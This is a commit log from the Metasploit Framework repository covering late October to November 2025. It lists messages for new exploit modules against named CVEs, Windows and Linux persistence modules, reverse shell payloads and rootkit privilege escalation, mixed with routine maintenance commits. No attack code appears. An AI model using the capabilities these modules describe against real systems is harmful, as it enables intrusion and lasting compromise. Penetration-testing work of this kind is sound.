Add support for ARCH_CMD payload
2025-11-24 11:16:22 +00:00
msutovsky-r7
d05f50c802
Land #20693 , fixes race condition in reloading extension klasses
...
fix: preload extension klasses during bootstrap
2025-11-24 09:28:38 +01:00
bcoles
2e000c2b1c
Add support for LoongArch64 payloads
2025-11-23 17:22:32 +11:00
bcoles
bb5ea49684
Add Linux RISC-V 32-bit/64-bit TCP reverse shell payloads
2025-11-23 16:09:09 +11:00
Valentin Lobstein
2b71c84d80
Improve code quality: simplify methods, use dig, compile regex, remove unnecessary variables
2025-11-23 05:40:49 +01:00
Valentin Lobstein
1a93bf7634
Update disclosure date to 2025-11-04
2025-11-23 05:27:19 +01:00
Valentin Lobstein
080230edd0
Add WordPress AI Engine MCP RCE exploit (CVE-2025-11749)
2025-11-23 03:56:11 +01:00
h00die
c997549060
wmi persistence docs
2025-11-22 16:38:57 -05:00
h00die
b996c0ee4c
wmi persistence
2025-11-22 16:37:57 -05:00
h00die
45250497d5
wmi uptime persistence
2025-11-22 09:13:01 -05:00
Valentin Lobstein
ad2bf62939
Randomize XXE entity name in N-able N-Central module
2025-11-22 04:39:29 +01:00
Valentin Lobstein
4e02af64cc
Fix N-able N-Central XXE module: improve file extraction, combine report methods, fix SSL handling
2025-11-22 04:37:38 +01:00
Valentin Lobstein
8c432302b0
Fix code quality improvements and optimizations
2025-11-22 04:15:57 +01:00
jenkins-metasploit
e670167fe1
automatic module_metadata_base.json update
2025-11-21 20:39:02 +00:00
Brendan
21777b8969
Merge pull request #20685 from msutovsky-r7/persistence/windows/notepad++_persistence
...
Adds notepad++ persistence module for Windows
2025-11-21 14:28:28 -06:00
msutovsky-r7
8f2525aba7
Land #20705 , adds modules for Flowise RCEs (CVE-2025-59528, CVE-2025-8943)
...
Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943)
2025-11-21 21:20:22 +01:00
Valentin Lobstein
e91086a1d0
Fix disclosure date for CVE-2025-34299
2025-11-21 20:49:34 +01:00
Valentin Lobstein
8cffe50470
Add Monsta FTP downloadFile RCE (CVE-2025-34299)
2025-11-21 20:43:37 +01:00
Valentin Lobstein
8702256ec2
Remove manual substitution and add BadChars for backslash and quote in flowise_js_rce
2025-11-21 19:34:33 +01:00
jenkins-metasploit
cb68802c7b
Bump version of framework to 6.4.100
2025-11-21 16:45:50 +00:00
sfewer-r7
b8cefb1af9
add nohup when bootstraping the payload to avoid the scenario when the parent dies it tears down our payload child process
2025-11-21 15:54:41 +00:00
Zedeldi
da33eed842
Use fail_with instead of a check method
2025-11-21 14:02:05 +00:00
Zedeldi
c0a756a751
Verify registry has been written successfully
2025-11-21 13:52:41 +00:00
Zedeldi
425adfa9bf
Prefer create_process over cmd_exec for commands with arguments
2025-11-21 13:40:25 +00:00
Zedeldi
dc9eddc7a2
Use store_loot for igel_dump_file
2025-11-21 13:22:22 +00:00
Zedeldi
b13137886a
Add IGEL OS and vulnerability summary to documentation
2025-11-21 13:09:28 +00:00
bcoles
a5e3a5ea85
Add Linux RISC-V 32-bit/64-bit prepends
2025-11-21 23:55:05 +11:00
sfewer-r7
aff76622fa
add in the unauth RCE exploit module for CVE-2025-64446 + CVE-2025-58034
2025-11-21 12:22:25 +00:00
Martin Sutovsky
72d7e1a6f1
Rubocopes
2025-11-21 13:18:11 +01:00
Martin Sutovsky
098af341f9
Fix payload name escaping
2025-11-21 13:04:52 +01:00
Zedeldi
ba702d40ea
Remove x86 target and redundant DefaultOptions
2025-11-21 12:04:49 +00:00
h00die
3251560ebc
wmi interval
2025-11-20 18:52:22 -05:00
Valentin Lobstein
9734a69ae8
Add N-able N-Central authentication bypass and XXE scanner module (CVE-2025-9316, CVE-2025-11700)
2025-11-21 00:18:12 +01:00
Valentin Lobstein
6215da4754
Apply review suggestions: use case/when, improve error handling, simplify code
2025-11-20 22:41:08 +01:00
Valentin Lobstein
8cd32c04ea
Update modules/exploits/multi/http/flowise_js_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-20 21:55:43 +01:00
Valentin Lobstein
db082959f4
Update modules/exploits/multi/http/flowise_custommcp_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-20 21:55:20 +01:00
Valentin Lobstein
11c64b8f10
Update lib/msf/core/exploit/remote/http/flowise.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-20 21:55:10 +01:00
Spencer McIntyre
000d310914
MSSQL auto auth should look at the domain
...
If the domain is set, using NTLM where the domain is used, otherwise use
plaintext / sql authentiction.
2025-11-20 13:32:33 -05:00
jenkins-metasploit
93f4775e3a
automatic module_metadata_base.json update
2025-11-20 17:42:56 +00:00
Brendan
bb728c44d7
Merge pull request #20560 from cdelafuente-r7/feat/mitre/T1021
...
Add T1021 "Remote Services" MITRE technique and sub-technique references
2025-11-20 11:19:31 -06:00
Martin Sutovsky
d904a526ee
Shamefully removes pry and pry-byebug
2025-11-20 17:08:28 +01:00
whotwagner
55f660ccfb
Update modules/exploits/multi/http/taiga_tribe_gig_unserial.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-20 16:56:58 +01:00
whotwagner
932eae7034
Update modules/exploits/multi/http/taiga_tribe_gig_unserial.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-20 16:55:32 +01:00
bcoles
d510adb13c
Add Linux RISC-V chmod payloads
2025-11-21 01:37:12 +11:00
jenkins-metasploit
374074cad5
automatic module_metadata_base.json update
2025-11-20 14:25:18 +00:00
msutovsky-r7
e2097ee1bc
Land #20701 , adds windows WSL registry persistence module
...
Windows WSL registry persistence
2025-11-20 15:15:22 +01:00
msutovsky-r7
d79e8a3402
Land #20708 , fixes msfdb startup
...
Fix msfdb startup
2025-11-20 14:36:20 +01:00
msutovsky-r7
19ffa739b7
Land #20711 , fixes description in AppendExit datastore option
...
Msf::Payload::Linux::Prepends: Fix AppendExit description
2025-11-20 11:54:37 +01:00
Martin Sutovsky
abaa4e6c7a
Fixes cmd_exec call
2025-11-20 11:27:34 +01:00
bcoles
eff40ba207
Msf::Payload::Linux::Prepends: Fix AppendExit description
2025-11-20 18:30:44 +11:00
jenkins-metasploit
8f19fe532b
automatic module_metadata_base.json update
2025-11-19 23:23:59 +00:00
adfoster-r7
dff3e3f4a7
Merge pull request #20694 from cgranleese-r7/add-rubocop-detect-cmd-exec
...
Adds Rubocop rule to detect calls to old cmd_exec API
2025-11-19 23:14:21 +00:00
h00die
9ff3f94bc9
review comments for wsl persistence
2025-11-19 17:37:55 -05:00
adfoster-r7
b0ce58d631
Update URL in specs
2025-11-19 22:24:15 +00:00
Spencer McIntyre
ebc70000ce
Support auto authentication for MSSQL
2025-11-19 17:11:34 -05:00
Valentin Lobstein
9624f75617
Simplify code formatting: shorten lines and improve readability
2025-11-19 23:05:01 +01:00
Valentin Lobstein
3102b31767
Move FETCH_COMMAND WGET to Unix/Linux target DefaultOptions only
2025-11-19 22:59:22 +01:00
Valentin Lobstein
6ab2452153
Fix documentation inconsistency: update ports for Flowise 3.0.1 (3005) and add Basic Auth service example
2025-11-19 22:58:27 +01:00
whotwagner
04e64697c0
Refactoring taiga-exploit
2025-11-19 21:29:10 +00:00
Valentin Lobstein
8fbbc3e043
Update flowise_custommcp_rce documentation: add Basic Auth testing scenario
2025-11-19 22:24:28 +01:00
Valentin Lobstein
44cf2e309f
Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943) with shared mixin, documentation, and Docker Compose setup
2025-11-19 22:12:49 +01:00
Zedeldi
8d28ce611a
Revert to cmd_exec for modify_service and improve code style
2025-11-19 20:33:46 +00:00
whotwagner
1e5bd6def5
Refactoring taiga-exploit
2025-11-19 20:31:33 +00:00
whotwagner
d8bb16d579
Refactoring taiga-exploit
2025-11-19 20:12:18 +00:00
whotwagner
467b5c25b3
Refactoring taiga-exploit
2025-11-19 20:09:30 +00:00
Zedeldi
bc2c397b8c
Add check for root access to igel_persistence
2025-11-19 20:01:57 +00:00
whotwagner
0781d618fd
Refactoring taiga-exploit
2025-11-19 19:43:27 +00:00
remmons-r7
25d87fc2c5
Delete accidental extra Ruby file commit
2025-11-19 14:19:05 -05:00
remmons-r7
7aff5f333b
Delete an accidental documentation commit
2025-11-19 14:18:25 -05:00
Valentin Lobstein
df1c157471
Improve Flowise CustomMCP RCE exploit stability with Basic Auth support and HTTP response validation
2025-11-19 20:12:31 +01:00
whotwagner
4c3ee4f499
Refactoring taiga-exploit and docs
2025-11-19 19:09:46 +00:00
remmons-r7
9e057ae1b7
Create twonky_authbypass_logleak.rb
2025-11-19 14:09:38 -05:00
remmons-r7
252023222b
Create twonky_authbypass_logleak.md
2025-11-19 14:06:52 -05:00
Valentin Lobstein
f991bd58a4
Update modules/exploits/multi/http/flowise_custommcp_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-19 19:57:48 +01:00
Valentin Lobstein
7ba143452c
Change checkcode
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-19 19:57:03 +01:00
Valentin Lobstein
8178313a46
Delete SSL param
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-19 19:56:43 +01:00
Valentin Lobstein
a187b9824e
Remove CVE ID from title
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-11-19 19:56:23 +01:00
remmons-r7
5b55bdaaaf
Merge branch 'rapid7:master' into master
2025-11-19 13:56:13 -05:00
Zack Didcott
beed317573
Use create_process instead of cmd_exec
...
Co-authored-by: Brendan <bwatters@rapid7.com >
2025-11-19 18:02:08 +00:00
Zack Didcott
22aead0db1
Use vprint_status for modify_service and restart_service
...
Co-authored-by: Brendan <bwatters@rapid7.com >
2025-11-19 18:01:05 +00:00
Christophe De La Fuente
bdef9a6b46
Fix msfdb startup
2025-11-19 18:50:26 +01:00
Christophe De La Fuente
179a545312
Remove false positive references
2025-11-19 17:34:15 +01:00
cgranleese-r7
d64625d95f
Adds post mixin docs and update cop message
2025-11-19 16:28:07 +00:00
Martin Sutovsky
554c952d06
Adds payload name escaping
2025-11-19 15:58:30 +01:00
msutovsky-r7
d8b544b1ab
Land #20707 , adds note "CAP_SYS_BOOT privileges are required" to Linux Reboot payloads
...
Add note "CAP_SYS_BOOT privileges are required" to Linux Reboot payloads
2025-11-19 12:10:03 +01:00
bcoles
c77c138117
Add note "CAP_SYS_BOOT privileges are required" to Linux Reboot payloads
2025-11-19 21:39:44 +11:00
Martin Sutovsky
6957f73bf5
Adds architecture match check
2025-11-19 08:12:30 +01:00
Martin Sutovsky
197dbf921d
Fixes Windows persistence
2025-11-19 07:52:54 +01:00
Martin Sutovsky
ec8906bbd4
Adds docs
2025-11-19 07:17:07 +01:00
Martin Sutovsky
1241cb724e
Adds MITRE reference, adds additional datastore options, code cleanup
2025-11-19 06:58:56 +01:00
h00die
2d41323e78
event_log working
2025-11-18 19:40:03 -05:00
h00die
58f29548b3
review for windows/persistence/wsl/registry
2025-11-18 18:50:07 -05:00
Valentin Lobstein
b26c4f5c7b
Add Flowise Custom MCP RCE exploit (CVE-2025-8943)
2025-11-18 22:25:39 +01:00
Valentin Lobstein
88aadcc856
Add Flowise Custom MCP RCE exploit (CVE-2025-8943)
2025-11-18 22:03:59 +01:00
jenkins-metasploit
3576e2bcef
automatic module_metadata_base.json update
2025-11-18 15:59:02 +00:00
Brendan
069de9fbf8
Merge pull request #20638 from h00die/windows_service_persistence
...
update windows service to persistence mixin
2025-11-18 09:49:06 -06:00
Martin Sutovsky
e99c1f648d
Expands fix for all HTTP-based login scanners
2025-11-18 16:42:59 +01:00
whotwagner
5c6b0543a4
Fixed a typo in taiga-module-docs
2025-11-18 09:59:26 +00:00
whotwagner
f80f10ce3d
Refactoring taiga-exploit
2025-11-18 09:58:47 +00:00
whotwagner
351bba0c45
Renamed extension for taiga-exploit-docs to .md
2025-11-18 09:52:06 +00:00
h00die
3209fdc937
remove old file
2025-11-17 19:03:55 -05:00
h00die
7c8fbd1672
rework windows service persistence
2025-11-17 19:02:54 -05:00
h00die
a0222d0783
rework windows service persistence
2025-11-17 19:02:53 -05:00
h00die
1ad89ef1ef
rewriting service
2025-11-17 19:02:53 -05:00
h00die
06f5c89bf4
throw this away
2025-11-17 19:02:53 -05:00
h00die
92e1720ad5
fix docs
2025-11-17 19:02:53 -05:00
h00die
8c211b4d4a
fix sc commands in windows service persistence
2025-11-17 19:02:53 -05:00
h00die
450e1df340
windows service now with persistence mixin
2025-11-17 19:02:50 -05:00
h00die
19661e5694
temp for windows wmi persistence
2025-11-17 16:53:58 -05:00
Zedeldi
c6db0d4285
Move IGEL OS persistence module to linux/persistence
2025-11-17 18:42:28 +00:00
Zedeldi
796d941354
Code formatting changes
2025-11-17 16:38:13 +00:00
Zedeldi
c37f7872a3
Add documentation for IGEL OS modules
2025-11-17 16:33:15 +00:00
Zedeldi
1436803783
Strip first line and quotes
2025-11-17 16:33:00 +00:00
jheysel-r7
8e642d4376
Merge pull request #20689 from zeroSteiner/feat/mod/socket-channel-tests
...
Add socket channel tests
2025-11-17 08:32:14 -08:00
jenkins-metasploit
8062673bfc
automatic module_metadata_base.json update
2025-11-17 15:19:06 +00:00
Zedeldi
f29505d0d0
Add IGEL OS modules
2025-11-17 15:18:09 +00:00
Brendan
c3f221e2f2
Merge pull request #20699 from sfewer-r7/fortiweb-exploit-cve
...
Update auxiliary/admin/http/fortinet_fortiweb_create_admin with CVE ID and advisory URL
2025-11-17 09:08:47 -06:00
Martin Sutovsky
92c2f2516d
Adds option for user-specified path
2025-11-17 11:42:42 +01:00
Martin Sutovsky
8285b433cb
Addresses comments
2025-11-17 11:04:28 +01:00
Martin Sutovsky
0e26719cf2
Adds dll_exitprocess
2025-11-17 09:24:09 +01:00
h00die
e3560e43cf
windows wsl registry persistence
2025-11-16 08:35:44 -05:00
whotwagner
ffe3d0acf8
Merge branch 'exploit_taiga_tribe_gig' of github.com:whotwagner/metasploit-framework into exploit_taiga_tribe_gig
2025-11-15 22:41:17 +00:00
whotwagner
ba24ea0362
Added exploit module for unserialization vulnerability in taiga.io(CVE-2025-62368)
2025-11-15 22:41:01 +00:00
whotwagner
466805a631
Fixed style-issues
2025-11-15 22:36:48 +00:00
Spencer McIntyre
f2a05ad295
Run them tests
2025-11-14 16:18:47 -05:00
Spencer McIntyre
3497f70692
Fix a UDP binding error and support LHOST/RHOST
2025-11-14 15:54:30 -05:00
sfewer-r7
c1ff36668c
disclosure date
2025-11-14 17:06:30 +00:00
sfewer-r7
b1327361e9
add in new CVE ID and vendor advisory
2025-11-14 17:04:33 +00:00
jenkins-metasploit
3aba23186c
automatic module_metadata_base.json update
2025-11-14 15:42:34 +00:00
Brendan
9dcea0c20d
Merge pull request #20698 from sfewer-r7/fortiweb-exploit
...
Add an aux module for the recent FortiWeb exploit (No CVE assigned yet)
2025-11-14 09:32:03 -06:00
jenkins-metasploit
4cd70a4d15
automatic module_metadata_base.json update
2025-11-14 13:49:09 +00:00
Spencer McIntyre
79145b5c50
Add a test module for UDP and TCP channels
2025-11-14 08:45:22 -05:00
Spencer McIntyre
c000e9cfa5
Merge pull request #20687 from dwelch-r7/winrm-error-handling-improvements
...
Add error handling for winrm login issues
2025-11-14 08:39:26 -05:00
Dean Welch
771856ac6b
Use print_brute over print_warning
2025-11-14 13:22:54 +00:00
sfewer-r7
06fbe46172
add in aux moduel for recent FortiWeb exploit
2025-11-14 12:02:10 +00:00
jheysel-r7
9cdf7bd9b2
Merge pull request #20695 from zeroSteiner/fix/bump-payloads/2.0.237
...
Update metasploit-payloads gem to 2.0.237
2025-11-13 09:29:56 -08:00
Spencer McIntyre
b1f57b303f
Update metasploit-payloads gem to 2.0.237
...
Includes changes from:
* rapid7/metasploit-payloads#782
* rapid7/metasploit-payloads#781
2025-11-13 12:11:10 -05:00
cgranleese-r7
7722d19ca3
Adds Rubocop rule to detect calls to old cmd_exec API
2025-11-13 16:33:36 +00:00
dledda-r7
362ed421cf
fix: commenting klasses pre-loader
2025-11-13 10:53:33 -05:00
dledda-r7
147cf9bc82
fix: include stdapi/stdapi in namespaced extensions
2025-11-13 10:51:04 -05:00
jenkins-metasploit
871ac7db61
Bump version of framework to 6.4.99
2025-11-13 11:14:45 +00:00
jenkins-metasploit
7f95c562ae
automatic module_metadata_base.json update
2025-11-12 18:54:53 +00:00
jheysel-r7
90ff800e41
Merge pull request #20669 from stfnw/azure-ad-login-default-message
...
azure_ad_login: add context to error message
2025-11-12 10:45:32 -08:00
Martin Sutovsky
58eec7d319
Adds docs
2025-11-12 16:28:54 +01:00
dledda-r7
c5fd2650a8
fix: preload extension klasses during bootstrap
2025-11-12 10:07:50 -05:00
jenkins-metasploit
667fd73597
automatic module_metadata_base.json update
2025-11-12 11:50:09 +00:00
Diego Ledda
c007d3a89f
Merge pull request #20674 from msutovsky-r7/exploit/win/cve-2025-59287
...
Adds module for unauthenticated deserialization in WSUS (CVE-2025-59287)
2025-11-12 12:40:32 +01:00
Martin Sutovsky
e35bd89033
Expands check method
2025-11-12 10:35:23 +01:00
jenkins-metasploit
8648398b11
automatic module_metadata_base.json update
2025-11-11 15:50:51 +00:00
Diego Ledda
29088b4712
Merge pull request #20576 from msutovsky-r7/modules/persistence/linqpad_deserialization
...
Moves LINQPad module into persistence category
2025-11-11 16:41:12 +01:00
Martin Sutovsky
81abe9d964
Cleans up code
2025-11-11 16:30:30 +01:00
Martin Sutovsky
d238b4626d
Adds Python version extraction for Windows
2025-11-11 15:57:30 +01:00
Martin Sutovsky
9058f6676b
Removes if condition
2025-11-11 11:22:31 +01:00
Martin Sutovsky
7ac1fd9de0
Adds support for Windows
2025-11-11 10:21:08 +01:00
Martin Sutovsky
546856967a
Enhances payload delivery, adds docs base
2025-11-11 08:39:40 +01:00
Spencer McIntyre
b545defca5
Merge pull request #20690 from dbono-r7/patch-1
...
Update named_pipes.txt
2025-11-10 17:27:58 -05:00
dbono-r7
7aebd592ef
Update named_pipes.txt
...
Added the cert pipe for quick unauthenticated for likely Certificate Authority servers.
2025-11-10 16:00:39 -06:00
Jack Heysel
5fc6af500f
Use one regex to match both failures
2025-11-10 12:46:55 -05:00
Martin Sutovsky
6aeb81a499
Adds MITRE reference, updates docs
2025-11-10 18:32:13 +01:00
jheysel-r7
0c6a8c10c5
Merge pull request #20625 from h00die/fix_exploit_docs_options
...
Update exploit docs to use modern h3 for options instead of original spec (bold)
2025-11-10 08:26:03 -08:00
Jack Heysel
99e35cb591
Keep test, add failure to known failures
2025-11-10 11:12:23 -05:00
Martin Sutovsky
fc434414d3
Randomizes XML paramater
2025-11-10 16:54:49 +01:00
Martin Sutovsky
2f361af316
Module init
2025-11-10 16:27:59 +01:00
cgranleese-r7
0e8fd9c603
Merge pull request #20686 from adfoster-r7/bump-mqtt-dependency
...
Bump mqtt dependency
2025-11-10 12:20:20 +00:00
Dean Welch
32874d05cf
Add error handling for winrm login issues
2025-11-10 12:01:03 +00:00
adfoster-r7
e5597ee57e
Bump mqtt dependency
2025-11-10 11:55:10 +00:00
Martin Sutovsky
2cbf32ce40
Adds documentation base
2025-11-10 12:27:13 +01:00
Martin Sutovsky
d4283cd17f
Adds base for Notepad++ persistence
2025-11-10 10:58:03 +01:00
h00die
b646e0e044
docs editing for consistency
2025-11-07 15:42:27 -05:00
h00die
fb02ec4554
remove 4 space indents in options
2025-11-07 15:42:27 -05:00
h00die
caa2873a14
more adjustments
2025-11-07 15:42:27 -05:00
h00die
d8c73f6684
replace bold options with h3
2025-11-07 15:42:23 -05:00
Jack Heysel
ea3997978e
Remove ldap_esc_vulnerable_cert_finder acceptance test
2025-11-07 15:25:59 -05:00
jenkins-metasploit
47f60e1625
Bump version of framework to 6.4.98
2025-11-06 18:14:52 +00:00
Martin Sutovsky
5ea47e5ac3
Adds formatting to XML data, adds automatic plugin ID extraction
2025-11-06 16:46:58 +01:00
Martin Sutovsky
570c7c0bf4
Changes CheckCode to Detected
2025-11-06 16:21:42 +01:00
Martin Sutovsky
b0afe5e24b
Randomizes parameters that can be randomized
2025-11-06 15:06:30 +01:00
Martin Sutovsky
904e752662
Code refactor
2025-11-06 14:52:49 +01:00
Martin Sutovsky
cb0011649c
Adds SCREEN_EFFECTS to SideEffects
2025-11-06 14:50:31 +01:00
Martin Sutovsky
f586fff090
Adds clear message if exploit fails
2025-11-06 14:46:02 +01:00
jenkins-metasploit
1d19c37c62
automatic module_metadata_base.json update
2025-11-05 15:39:36 +00:00
Diego Ledda
110cb837aa
Merge pull request #20672 from h00die-gr3y/centreon_auth_rce
...
Centreon authenticated command injection leading to RCE via broker engine "reload" parameter [CVE-2025-5946]
2025-11-05 16:29:29 +01:00
h00die-gr3y
34c424f473
update based on dledda-r7 comments
2025-11-05 09:20:13 +00:00
Brendan
b70d9c074a
Merge pull request #20673 from adfoster-r7/pin-date-dependency
...
Pin date dependency
2025-11-04 12:29:56 -06:00
Martin Sutovsky
5ad76f82d1
Adds more docs, adds description
2025-11-04 13:49:43 +01:00
Martin Sutovsky
f195ebd453
Code refactor
2025-11-04 13:36:33 +01:00
Martin Sutovsky
98467f3a21
Adds msf payload to module, adds docs
2025-11-04 12:28:03 +01:00
Martin Sutovsky
e885da1f0b
Add rce for wsus
2025-11-03 20:47:28 +01:00
adfoster-r7
57a3590a94
Pin date dependency
2025-11-03 17:30:47 +00:00
h00die-gr3y
61dfc293d9
update based on dledda-r7 comments
2025-11-03 14:37:23 +00:00
Martin Sutovsky
96edf7bad4
Updates
2025-11-03 14:25:39 +01:00
h00die-gr3y
408eceb2d9
small update documentation
2025-11-03 10:27:44 +00:00
h00die-gr3y
85b4233345
updated module based on review comments and added documentation
2025-11-03 10:21:31 +00:00
h00die-gr3y
83e7fc2667
update attackerkb reference
2025-11-02 18:26:34 +00:00
h00die-gr3y
e01456bcf4
init commit module
2025-11-02 17:45:22 +00:00
Stefan Walter
00661fa43a
azure_ad_login: add context to error message
...
Include domain and username in the default/catch-all error message,
so that this information is not lost.
2025-11-01 13:19:01 +01:00
jenkins-metasploit
1c4e3d59ee
automatic module_metadata_base.json update
2025-10-31 11:38:37 +00:00
Diego Ledda
13dc61e2e8
Merge pull request #20523 from h00die/modern_persistence_upstart
...
update upstart to persistence mixin
2025-10-31 12:28:59 +01:00
jenkins-metasploit
ad0f984f4c
automatic module_metadata_base.json update
2025-10-31 09:26:00 +00:00
msutovsky-r7
af5baeb3c6
Land #20660 , adds windows task scheduler persistence module
...
Windows task scheduler persistence
2025-10-31 10:16:19 +01:00
jenkins-metasploit
54a1810273
automatic module_metadata_base.json update
2025-10-31 09:09:45 +00:00
msutovsky-r7
c804e5fb55
Land #20643 , expands diamorphine privilege escalation module to other rootkits
...
Add Rootkit Privilege Escalation Signal Hunter
2025-10-31 10:00:21 +01:00
bcoles
676a2ed4b1
Add Rootkit Privilege Escalation Signal Hunter
2025-10-31 17:22:19 +11:00
jenkins-metasploit
7098e47626
Bump version of framework to 6.4.97
2025-10-30 16:37:30 +00:00
jenkins-metasploit
fc7040bb1b
automatic module_metadata_base.json update
2025-10-30 07:38:51 +00:00
msutovsky-r7
09f1d1ae57
Land #20650 , adds module for NCR Command Center Agent unauthenticated RCE (CVE-2021-3122)
...
Add NCR Command Center Agent Unauthenticated RCE (CVE-2021-3122)
2025-10-30 08:26:42 +01:00
Martin Sutovsky
666e63f993
Rubocopes module
2025-10-30 07:43:32 +01:00
Martin Sutovsky
ee3058bf92
Removes moved_from
2025-10-29 15:14:29 +01:00
jenkins-metasploit
90408517f1
automatic module_metadata_base.json update
2025-10-29 12:50:37 +00:00
Spencer McIntyre
ca2f3ab3a6
Merge pull request #20648 from bcoles/cydia_default_ssh
...
exploit/apple_ios/ssh/cydia_default_ssh: Add mobile:alpine creds
2025-10-29 08:42:15 -04:00
jenkins-metasploit
a9c91baf6f
automatic module_metadata_base.json update
2025-10-29 12:32:11 +00:00
msutovsky-r7
56480df99f
Land #20662 , adds windows startup folder persistence module
...
windows persistence: startup folder
2025-10-29 13:23:35 +01:00
h00die
34b630736a
Merge remote-tracking branch 'origin/windows_taskscheduler_persistence' into windows_taskscheduler_persistence
2025-10-29 05:22:55 -04:00
h00die
f03b32551a
Update modules/exploits/windows/persistence/task_scheduler.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-10-29 05:22:28 -04:00
h00die
b48215d9c1
Merge remote-tracking branch 'origin/windows_taskscheduler_persistence' into windows_taskscheduler_persistence
2025-10-29 05:21:45 -04:00
h00die
35f632bc85
windows persistence: task scheduler review
2025-10-29 05:20:57 -04:00
h00die
85fa7e0391
windows persistence: startup folder review
2025-10-29 05:18:20 -04:00
Martin Sutovsky
b167a2bc7d
Adds moved_from clause
2025-10-29 07:58:50 +01:00
Martin Sutovsky
44c3d9b5db
Fixes documentation, removes unused parameters, code cleanup
2025-10-29 07:58:47 +01:00
msutovsky-r7
65f764e8bc
Corrects CheckCode from Vulnerable to Appears
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-10-29 07:57:20 +01:00
Martin Sutovsky
5bf842c15e
Moves module to persistence category, docs reformat
2025-10-29 07:57:19 +01:00
Martin Sutovsky
547b318848
Moves linqpad deserialization to persistence category
2025-10-29 07:56:49 +01:00
Muhammad Daffa
b98e66b744
Minor changes, code review from @msutovsky-r7
2025-10-29 13:18:17 +07:00
h00die
fd6d84df0f
Update modules/exploits/windows/persistence/task_scheduler.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-10-27 19:51:32 -04:00
h00die
c0b3f40b3e
upstart review
2025-10-27 19:45:38 -04:00
h00die
fd04f465eb
windows persistence: startup folder
2025-10-27 15:35:52 -04:00
jenkins-metasploit
8dd2724977
automatic module_metadata_base.json update
2025-10-27 14:06:20 +00:00
msutovsky-r7
d839a84a12
Land #20631 , moves windows registry module into persistence category
...
update windows registry to persistence mixin
2025-10-27 14:57:48 +01:00
Muhammad Daffa
1b53604852
Code review changes from @msutovsky-r7
2025-10-27 17:19:11 +07:00
jenkins-metasploit
086fad626b
automatic module_metadata_base.json update
2025-10-27 07:28:31 +00:00
bcoles
c6d58d1b57
Land #20661 , Add aarch64 payload support to gitea_git_fetch_rce module
2025-10-27 18:18:26 +11:00
Michael MacFadden
b481b9ef7b
gitea_git_fetch_rce aarch64 payload support
...
Add support for the Linux Dropper to use payloads targeted to ARCH_AARCH64
2025-10-26 19:19:11 -05:00
h00die
4fdce5e510
windows persistence: task scheduler
2025-10-26 16:26:32 -04:00
h00die
c210a897ac
windows persistence: task scheduler
2025-10-26 16:17:16 -04:00
jenkins-metasploit
8528cb255a
automatic module_metadata_base.json update
2025-10-24 16:27:34 +00:00
Brendan
d1c9410a95
Merge pull request #20594 from HamzaSahin61/feat/redoc-exposed-scanner
...
auxiliary(scanner/http/redoc_exposed): detect exposed ReDoc API docs UI
2025-10-24 11:19:13 -05:00
jenkins-metasploit
5d73d8a2c7
Bump version of framework to 6.4.96
2025-10-24 14:56:49 +00:00
adfoster-r7
52308d0df6
Merge pull request #20655 from adfoster-r7/fix-meterpreter-migration-crash
...
Fix Meterpreter migration crash
2025-10-24 14:39:21 +01:00
jenkins-metasploit
c4dd66723f
automatic module_metadata_base.json update
2025-10-24 13:38:10 +00:00
msutovsky-r7
d8357ce329
Land #20564 , adds persistence suggester module
...
persistence suggester
2025-10-24 15:29:54 +02:00
adfoster-r7
a984e15cb6
Fix Meterpreter migration crash
2025-10-24 14:07:59 +01:00
adfoster-r7
4dd245a60e
Merge pull request #20639 from adfoster-r7/fix-oracle-login-crash
...
Fix oracle login crash
2025-10-24 14:06:59 +01:00
adfoster-r7
a5dd6c37ff
Merge pull request #20654 from molecula2788/msf_session_bootstrap_fix
...
lib/msf/base/sessions/meterpreter.rb: Use &. across the entire chain when handling datastore['AutoLoadExtensions']
2025-10-24 13:43:04 +01:00
Adrian Șendroiu
c2ce203281
lib/msf/base/sessions/meterpreter.rb: Use &. across the entire chain when handling datastore['AutoLoadExtensions']
2025-10-24 14:30:56 +03:00
dwelch-r7
1ee88e1a7a
Merge pull request #20651 from adfoster-r7/pin-rexml-to-avoid-winrm-warnings
...
Pin rexml to avoid winrm warnings
2025-10-24 11:14:53 +01:00
dwelch-r7
7303e78f4a
Merge pull request #20652 from adfoster-r7/fix-ssh-login-crash-for-pro
...
Fix ssh login crash for pro
2025-10-24 11:14:07 +01:00
adfoster-r7
25772a5a64
Fix ssh login crash for pro
2025-10-24 10:31:27 +01:00
adfoster-r7
8d35eb975d
Pin rexml to avoid winrm warnings
2025-10-24 10:29:00 +01:00
Muhammad Daffa
b059a61d1b
Add ncr_cmcagent_rce module
2025-10-24 16:17:14 +07:00
Muhammad Daffa
af2b2cc40f
Add documentation for NCR Command Center Agent RCE
2025-10-24 16:15:11 +07:00
bcoles
33462bf233
exploit/apple_ios/ssh/cydia_default_ssh: Add mobile:alpine creds
2025-10-24 18:02:35 +11:00
bcoles
52b7f1ff25
Deprecate exploit/linux/local/diamorphine_rootkit_signal_priv_esc
2025-10-24 17:05:10 +11:00
h00die
0f26c9316a
registry persistence peer review
2025-10-23 17:44:22 -04:00
Spencer McIntyre
100ac4b973
Remove unneeded code
2025-10-23 13:05:36 -04:00
jenkins-metasploit
909d872cf6
automatic module_metadata_base.json update
2025-10-23 16:52:30 +00:00
jheysel-r7
4bc06606ff
Merge pull request #20640 from msutovsky-r7/fix/ldap/cert_finder/register_values
...
Adds safe navigator in ldap_esc_vulnerable_cert_finder
2025-10-23 09:44:17 -07:00
adfoster-r7
52f2094ccb
Merge pull request #20641 from rapid7/smcintyre-r7-patch-1
...
